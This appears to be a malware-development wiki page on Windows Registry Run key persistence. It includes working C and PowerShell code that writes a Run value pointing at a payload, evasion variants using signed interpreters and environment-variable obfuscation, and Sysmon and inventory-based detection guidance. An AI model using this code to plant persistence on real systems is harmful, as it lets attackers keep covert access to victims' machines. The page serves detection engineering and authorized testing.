Skip to content
λmaldev wiki/
pagesRegistry Run Keys
T1547.001WindowsRegistryC / C++PowerShell

Registry Run Keys

updated 2026-08-045 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

The Run and RunOnce registry keys are the simplest persistence mechanism Windows exposes. Any value under them is executed by the session manager (userinit.exe) during logon. The per-user path under HKCU requires no elevated privileges; the machine-wide path under HKLM requires administrator rights but survives across all users.

The technique is decades old and comprehensively detected. It remains relevant because it requires zero exploitation — a low-integrity process can write to HKCU\...\Run — and because detection gaps still exist on endpoints without Sysmon or a baseline inventory.

Note.

RunOnce values are deleted after execution. They are slightly harder to detect retroactively (the value is gone by the time the analyst looks) but provide no persistence across subsequent logons without re-writing the key.

The call chain

  1. 1
    RegOpenKeyExA(HKCU\Software\Microsoft\Windows\CurrentVersion\Run)
    Per-user key — no admin rights required. Survives logoff/logon cycles.
  2. 2
    RegSetValueExA(name, payload_path)
    Write the name/value pair pointing at the payload binary or command line.
  3. 3
    (trigger) user logs on
    The session manager runs all values under the applicable Run keys before the desktop appears.

Reference implementation

runkey.cC
#include <windows.h>

#define RUN_KEY   "Software\\Microsoft\\Windows\\CurrentVersion\\Run"

BOOL install_run_key(const char *name, const char *payload_path) {
  HKEY hk;
  LSTATUS rc = RegOpenKeyExA(HKEY_CURRENT_USER, RUN_KEY,
                             0, KEY_SET_VALUE, &hk);
  if (rc != ERROR_SUCCESS) return FALSE;

  rc = RegSetValueExA(hk, name, 0, REG_SZ,
                      (const BYTE *)payload_path,
                      (DWORD)strlen(payload_path) + 1);
  RegCloseKey(hk);
  return rc == ERROR_SUCCESS;
}

BOOL remove_run_key(const char *name) {
  HKEY hk;
  RegOpenKeyExA(HKEY_CURRENT_USER, RUN_KEY, 0, KEY_SET_VALUE, &hk);
  LSTATUS rc = RegDeleteValueA(hk, name);
  RegCloseKey(hk);
  return rc == ERROR_SUCCESS;
}

// equivalent one-liner in PowerShell:
// New-ItemProperty -Path "HKCU:\...\Run" -Name "Update" -Value "C:\payload.exe"

Run key locations

Key Scope Requires
HKCU\Software\Microsoft\Windows\CurrentVersion\Run Current user Nothing
HKLM\Software\Microsoft\Windows\CurrentVersion\Run All users Admin
HKCU\...\RunOnce Current user, once Nothing
HKLM\...\RunOnce All users, once Admin
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run All users (32-bit) Admin

Variations

Indirect execution — write cmd.exe /c start /b payload.exe or use wscript.exe to run a VBScript dropper. The intermediate interpreter is a signed binary, which can fool path-based allow lists.

Environment variable paths%APPDATA%\update.exe instead of an absolute path. Harder to diff against a clean baseline, but the value still appears in the key.

Alternate value typesREG_EXPAND_SZ with %COMSPEC% /c ... expands environment variables at logon time, slightly obfuscating the payload command.

Detection

SYSMON EID 13
Registry value set under any CurrentVersion\Run or RunOnce key by a non-installer process.
SYSMON EID 1
Process spawned by userinit.exe or explorer.exe from an unexpected path immediately after logon.
INVENTORY
Snapshot Run key values at logon; alert on additions not in the approved software baseline.
YARA
Binary on disk that writes a Run key value pointing at itself during first execution.

Persistence via Run keys is an inventory problem. Enumerate all Run key values at logon and diff against an approved-software baseline. The rate of change on a managed endpoint from legitimate software is very low; any new value without a matching installer event is suspicious.

Was this page useful?edit this page ↗